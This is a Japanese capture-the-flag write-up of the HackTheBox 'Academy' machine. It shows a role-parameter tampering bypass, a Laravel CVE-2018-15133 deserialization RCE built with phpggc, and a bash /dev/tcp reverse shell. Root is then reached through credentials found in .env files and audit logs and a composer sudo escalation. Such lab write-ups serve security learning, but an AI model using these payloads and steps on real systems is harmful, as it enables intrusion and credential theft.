🍏

【HackTheBox】Academy Writeup

2023/05/28に公開

Enumeration

nmap

┌──(kali㉿kali)-[~]
└─$ nmap -sVC -T4 -p- -Pn -open 10.10.10.215

port22、80、33060が動いています。
ドメイン名のacademy.htbを/etc/hostsに入れます。

Website enumeration

サイトにアクセスするとこんな感じです。loginとregisterがあります。

/login.phpはログインフォーム(左)、/register.phpは登録フォーム(右)です。

ユーザー登録してログインしてみると/home.phpに遷移します。本物のhtb academyと同じ見た目です。操作できるところがなさそうでした。

他のページがあるかもしれないので、gobusterを実行します。

┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://academy.htb  
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://academy.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/05/26 09:40:42 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 276]
/.htpasswd            (Status: 403) [Size: 276]
/.htaccess            (Status: 403) [Size: 276]
/admin.php            (Status: 200) [Size: 2633]
/images               (Status: 301) [Size: 311] [--> http://academy.htb/images/]
/index.php            (Status: 200) [Size: 2117]
/server-status        (Status: 403) [Size: 276]
Progress: 4596 / 4615 (99.59%)
===============================================================

/admin.phpはadmin用のログインフォームでした。

フォーム以外に動かせそうなところがないので、burpでリクエスト送ってみてSQLiでも試したいと思いました。
registerのリクエストはこんな感じです。roleidという項目が入っています。

もしかしからroleid=0は一般ユーザーで、roleidを変えると権限も変わるかも?と思いました。
ではroleidを変えて、リクエストを送ってみます。

testadminでadmin.phpでログインしてみると入れました。スタッフのタスク管理画面です。
SQLiからadmin credentialsを取らないといけないと思っていましたが、パラメータを少し変えただけでadmin権限でログインできてよかったです。

"fix issue with dev-staging-01.academy.htb"はpendingになっていますので、このサブドメインのissueがexploitのチャンスかもしれないと思いました。
ではdev-staging-01.academy.htbを/etc/hosts`に入れます。

Subdomain enumeration

サブドメインに入るとこんな感じです。
左にissueの一覧、右にissueの詳細と環境変数が表示されています。

環境変数を見るとDB_PASSWORDAPP_KEYなど、sensitive informationっぽい変数が入っていました。また、サイトはlaravelで作られていることもわかりました。

"laravel app_key exploit poc"で検索すると使えそうなgithubページが出てきました。(https://github.com/kozmic/laravel-poc-CVE-2018-15133)

※後から知りましたが、metasploitにもこのexploitのモジュールがありました。(このwriteupではmetasploitを使いません。githubにあったpocを使います。)

#  Name                                              Disclosure Date  Rank       Check  Description
   -  ----                                              ---------------  ----       -----  -----------
   0  exploit/unix/http/laravel_token_unserialize_exec  2018-08-07       excellent  Yes    PHP Laravel Framework token Unserialize Remote Command Execution

Foothold

Laravel RCE

今回exploitの対象となる脆弱性はCVE-2018-15133です。poc読むと、特定のLaravelバージョンでは、アプリケーションキーが分かればX-XSRF-TOKENを通して任意のコードを実行できると書いていました。(https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15133)

githubのpocの手順に沿ってRCEを再現します。
まずはcve-2018-15133.phpをローカルに落として権限変更します。

┌──(kali㉿kali)-[~/academy]
└─$ chmod 777 cve-2018-15133.php 

phpggcでpayloadを作ります。とりあえずidを実行してみます。

┌──(kali㉿kali)-[~/academy]
└─$ phpggc Laravel/RCE1 system 'id' -b      
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fX1zOjg6IgAqAGV2ZW50IjtzOjI6ImlkIjt9

cve-2018-15133.phpにapp_keyと生成されたpayloadに渡します。実行するとX-XSRF-TOKENが出力されました。

┌──(kali㉿kali)-[~/academy]
└─$ ./cve-2018-15133.php dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fX1zOjg6IgAqAGV2ZW50IjtzOjI6ImlkIjt9        
PoC for Unserialize vulnerability in Laravel <= 5.6.29 (CVE-2018-15133) by @kozmic

HTTP header for POST request: 
X-XSRF-TOKEN: eyJpdiI6ImpNN1hSUWROSDh6VmFPWGlwYUxlR1E9PSIsInZhbHVlIjoiXC9HcGlPYU5peXNCNkwzbVBmN3pBekdEUG1XTmJ4S0RXVWlTd3A4WXJ4aWVNVHlMcE9GWXZmSnZXMEM2a0RBS2JEK29RSmE2cUNJZXZHd1wvVkZNbDJxR3NXWDhaWlwvR3dYQWkrQ1RMdUFjMDl0SVwvWWRLNmFIQkdGcTJ3RkE1OUhYek1pYys0NjhyMit0d3ZuVEtNc2c5SFlwXC81ajBzZG5iQUhZc2t1YitQdVIyQllFUlNnRWYySGhkaG5LZHJHMDFMYnNyODNXQzcwS2ZLaU1WaWhBSzh0N3pmcUs0S2dJcVVlZFZnVHA4RGNRPSIsIm1hYyI6ImI1OTk1MDQ4YzlmOGU5ZDc4ZGNlM2NkMDQyOWM3YTA4OGRmNzI2ZTZkZmQ4NmQxMTc2NzQ1ZTU5MzhiZTYxNWYifQ==

X-XSRF-TOKENをヘッダーに入れて、サブドメインにリクエスト送ります。

┌──(kali㉿kali)-[~/academy]
└─$ curl http://dev-staging-01.academy.htb -X POST -H 'X-XSRF-TOKEN: eyJpdiI6ImpNN1hSUWROSDh6VmFPWGlwYUxlR1E9PSIsInZhbHVlIjoiXC9HcGlPYU5peXNCNkwzbVBmN3pBekdEUG1XTmJ4S0RXVWlTd3A4WXJ4aWVNVHlMcE9GWXZmSnZXMEM2a0RBS2JEK29RSmE2cUNJZXZHd1wvVkZNbDJxR3NXWDhaWlwvR3dYQWkrQ1RMdUFjMDl0SVwvWWRLNmFIQkdGcTJ3RkE1OUhYek1pYys0NjhyMit0d3ZuVEtNc2c5SFlwXC81ajBzZG5iQUhZc2t1YitQdVIyQllFUlNnRWYySGhkaG5LZHJHMDFMYnNyODNXQzcwS2ZLaU1WaWhBSzh0N3pmcUs0S2dJcVVlZFZnVHA4RGNRPSIsIm1hYyI6ImI1OTk1MDQ4YzlmOGU5ZDc4ZGNlM2NkMDQyOWM3YTA4OGRmNzI2ZTZkZmQ4NmQxMTc2NzQ1ZTU5MzhiZTYxNWYifQ==' | head -n 2
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
uid=33(www-data) gid=33(www-data) groups=33(www-data)- --:--:-- --:--:--  1129
<!DOCTYPE html><!--
100  9075    0  9075    0     0   6698      0 --:--:--  0:00:01 --:--:--  6697
curl: (23) Failure writing output to destination

idが実行されました。ユーザーはwww-dataでした。

Shell as www-data

RCEが確認できたので、payloadを変えてreverse shellを取ります。

phpggc Laravel/RCE1 system 'bash -i >& /dev/tcp/10.10.14.2/9001 0>&1' -b
./cve-2018-15133.php dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fX1zOjg6IgAqAGV2ZW50IjtzOjUwOiJiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjIvOTAwMSAwPiYxIiI7fQ==
curl http://dev-staging-01.academy.htb -X POST -H 'X-XSRF-TOKEN: eyJpdiI6ImpSTkpDNUxcL2FwQTJ5SjhVYjlzWThBPT0iLCJ2YWx1ZSI6InUyMUNkbUlTMzFGMUFMNzV6RTk5dUdkZWRGcnRRYm1TVUVvSjNYRXg0bDhzVEczczRORWFcL0gyaFA3aVBYQXdVSWtTbmlvNUhmQjlXM0E0M1lBemxsVHFLRlF5TmtKaEZ5cjdUaEUzRUJtOFhWbjg4S25saWlYRWlQbWlNOHRzd2ltMENVQWxcL3NCb2ErYTkzajlSOXQ0MFE2Y2dBMzdLWXBBQTg1VFJMbFJWM1V4c0J1NE54Z1QzUGZ2cnpib1g5UVQ4Z0tTSEgwbERBMG8yTTZSSmtVMUkzb0F6VmZ1ajZSdVRoWkRaUzVKQzNFWFZZOFdxbDhtNTZoall6VmhIVVhWZGlxQmJJbzF3QXVxTzJCajdiWTRQbDJoSElrUzk3bWVXNWtDNk1cL0xRPSIsIm1hYyI6ImY2YWJkMjMzODEzZDliN2YyYzEyM2UwZDBkYmNkOTMyYzQ3ZTcwMTM3YTJiM2YwY2E4ZTA0YmY1ODRmZGM4NjkifQ==' | head -n 2

reverse shell取れました。

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.215] 41566
bash: cannot set terminal process group (827): Inappropriate ioctl for device
bash: no job control in this shell    
www-data@academy:/var/www/html/htb-academy-dev-01/public$ whoami
www-data

ユーザーを見てみると6人がいました。

www-data@academy:/var/www/html/htb-academy-dev-01/public$ ls /home
21y4d  ch4p  cry0l1t3  egre55  g0blin  mrb3n

user.txtはcry0l1t3のディレクトリーにあったので、次はcry0l1t3としてログインする方法を探します。enumerationしてcredentials探してみようと思います。

www-data@academy:/home$ ls -l cry0l1t3
-r--r----- 1 cry0l1t3 cry0l1t3   33 May 26 13:31 user.txt

Shell as cry0l1t3

manual enumerationやってみたら、academyのconfig.phpの中にdbのパスワードがありました。しかし、このパスワードでsshとsu試しましたがログインできませんでした。

www-data@academy:/var/www/html/academy/public$ cat config.php
cat config.php
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
$link=mysqli_connect('localhost','root','GkEWXn4h34g8qx9fZ1','academy');
?>

enumerationが思ったより時間がかかりそうだったので、linpeasを実行します。
環境変数のレポートにDB_PASSWORD=mySup3rP4s5w0rd!!がありました。

╔══════════╣ Analyzing Env Files (limit 70)
-rw-r--r-- 1 www-data www-data 706 Aug 13  2020 /var/www/html/academy/.env   
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
APP_DEBUG=false
APP_URL=http://localhost
LOG_CHANNEL=stack
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=academy
DB_USERNAME=dev
DB_PASSWORD=mySup3rP4s5w0rd!!

このパスワードでcry0l1t3に切り替えることができました。

www-data@academy:/var/www/html/academy/public$ su cry0l1t3
su cry0l1t3
Password: mySup3rP4s5w0rd!!    

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
cry0l1t3@academy:~$ cat user.txt

Privilege Escalation

Enumeration

cry0l1t3のidの結果はuid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm)です。admグループについて調べたら、システムをモニタリングのための権限らしく、/var/logに入っているログファイルが読めるみたいです。

www-dataの時よりアクセスできる情報が増えたので、もう一度linpeasを実行してみます。ログから有用な情報が出てくるかもしれません。

Linpeas Report

読めるログファイルの一覧が出力されました。

╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root adm 4726 Nov  5  2020 /var/log/apt/term.log.2.gz          
-rw-r----- 1 root adm 2748 Sep 14  2020 /var/log/apt/term.log.3.gz
-rw-r----- 1 root adm 480 May 26 13:50 /var/log/apt/term.log.1.gz
-rw-r----- 1 root adm 10682 Aug 12  2020 /var/log/apt/term.log.4.gz
-rw-r----- 1 root adm 0 May 27 00:00 /var/log/apt/term.log
-r--r----- 1 root adm 8388720 Sep  4  2020 /var/log/audit/audit.log.2
-rw-r----- 1 root adm 710416 May 27 10:45 /var/log/audit/audit.log
-r--r----- 1 root adm 8388617 Aug 23  2020 /var/log/audit/audit.log.3
-r--r----- 1 root adm 8388813 Nov  9  2020 /var/log/audit/audit.log.1
-rw-r----- 1 root adm 275 Oct 21  2020 /var/log/apache2/error.log.5.gz
-rw-r----- 1 root adm 335 Sep 12  2020 /var/log/apache2/error.log.9.gz
...[snip]...
-rw-r----- 1 root adm 337 Sep 14  2020 /var/log/apache2/error.log.7.gz
-rw-r----- 1 root adm 336 Sep  7  2020 /var/log/apache2/error.log.14.gz

audit logsからsuのログにパスワードが入っていました。ユーザーmrb3nのパスワードはmrb3n_Ac@d3my!です。mrb3nは何ができるかわからないですが、credentialsがあったのでログインしてみます。

╔══════════╣ Checking for TTY (sudo/su) passwords in audit logs
1. 08/12/2020 02:28:10 83 0 ? 1 sh "su mrb3n",<nl>                           
2. 08/12/2020 02:28:13 84 0 ? 1 su "mrb3n_Ac@d3my!",<nl>
type=TTY msg=audit(1597199293.906:84): tty pid=2520 uid=1002 auid=0 ses=1 major=4 minor=1 comm="su" data=6D7262336E5F41634064336D79210A 

Manual Log Analysis

linpeas使わずにログからcredentialsを探すこともできるので、メモしておきます。
ausearchでauditログを検索することができます。もちろんgrepで頑張ることもできますが、せっかくなのでausearchを使ってみます。

各ユーザーがterminalに入れたコマンドはTTYタイプのイベントとしてログされます。-mオプションでイベントタイプを指定します。
※イベントタイプの一覧はこのdocsにあります。(https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/sec-audit_record_types)

実行するとログが出てきましたが、入力内容がhex encodeされているみたいです。

cry0l1t3@academy:/var/log/audit$ ausearch -if audit.log.3 -m TTY
----
time->Wed Aug 12 02:28:10 2020
type=TTY msg=audit(1597199290.086:83): tty pid=2517 uid=1002 auid=0 ses=1 major=4 minor=1 comm="sh" data=7375206D7262336E0A
----
time->Wed Aug 12 02:28:13 2020
type=TTY msg=audit(1597199293.906:84): tty pid=2520 uid=1002 auid=0 ses=1 major=4 minor=1 comm="su" data=6D7262336E5F41634064336D79210A
----
time->Wed Aug 12 02:28:24 2020
type=TTY msg=audit(1597199304.778:89): tty pid=2526 uid=1001 auid=0 ses=1 major=4 minor=1 comm="sh" data=77686F616D690A
...[snip]...

ausearchのdocsを読むと、-iオプションでdecodeできると書いていたので使ってみます。

cry0l1t3@academy:/var/log/audit$ ausearch -if audit.log.3 -m TTY -i
----
type=TTY msg=audit(08/12/2020 02:28:10.086:83) : tty pid=2517 uid=cry0l1t3 auid=root ses=1 major=4 minor=1 comm=sh data="su mrb3n",<nl>
----
type=TTY msg=audit(08/12/2020 02:28:13.906:84) : tty pid=2520 uid=cry0l1t3 auid=root ses=1 major=4 minor=1 comm=su data="mrb3n_Ac@d3my!",<nl>
----
type=TTY msg=audit(08/12/2020 02:28:24.778:89) : tty pid=2526 uid=mrb3n auid=root ses=1 major=4 minor=1 comm=sh data="whoami",<nl>

mrb3nのログイン情報が出てきました。

Shell as mrb3n

mrb3nでログインしてsudo権限を見てみます。composerのコマンドを実行できるみたいです。

cry0l1t3@academy:~$ su mrb3n
su mrb3n
Password: mrb3n_Ac@d3my!

$ whoami
mrb3n
$ sudo -l
[sudo] password for mrb3n: mrb3n_Ac@d3my!

Matching Defaults entries for mrb3n on academy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mrb3n may run the following commands on academy:
    (ALL) /usr/bin/composer

Shell as root

GTFOBinsでcomposerを調べたら出てきました。これでrootが取れそうです。(https://gtfobins.github.io/gtfobins/composer/)

mrb3n@academy:/$ TF=$(mktemp -d)
TF=$(mktemp -d)
mrb3n@academy:/$ echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
<":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
mrb3n@academy:/$ sudo /usr/bin/composer --working-dir=$TF run-script x
sudo /usr/bin/composer --working-dir=$TF run-script x
[sudo] password for mrb3n: mrb3n_Ac@d3my!

...[snip]...
Do not run Composer as root/super user! See https://getcomposer.org/root for details
> /bin/sh -i 0<&3 1>&3 2>&3
# whoami
root
# cat /root/root.txt

手順通りで実行したらroot shellが取れました。

Memo

easyのマシーンにしては難しいと思います。Linpeas使わないならmediumの難易度かな、、

Discussion